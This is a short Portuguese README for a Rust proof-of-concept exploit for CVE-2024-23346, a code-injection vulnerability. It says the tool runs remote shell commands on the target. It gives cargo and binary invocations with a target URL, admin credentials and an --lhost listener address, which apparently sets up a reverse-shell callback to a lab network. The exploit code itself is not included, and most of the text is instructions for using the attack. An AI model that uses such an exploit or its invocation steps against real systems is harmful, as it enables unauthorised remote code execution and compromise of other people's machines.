CVE-2024-23346-rust-exploit

Um script de exploração em Rust para CVE-2024-23346.

Conforme mostrado abaixo, o POC utiliza a vulnerabilidade de injeção de código e executa comandos remotos de shell como em um Terminal.

poc.webm

---

Passos para executar o exploit:

• Execute diretamente com Cargo
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

OU

• Compile o binário: cargo build -r (o binário estará em target/release/poc)
• Execute o binário:
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

O script de exploração é inspirado no Python Scripting Expert MAWK0235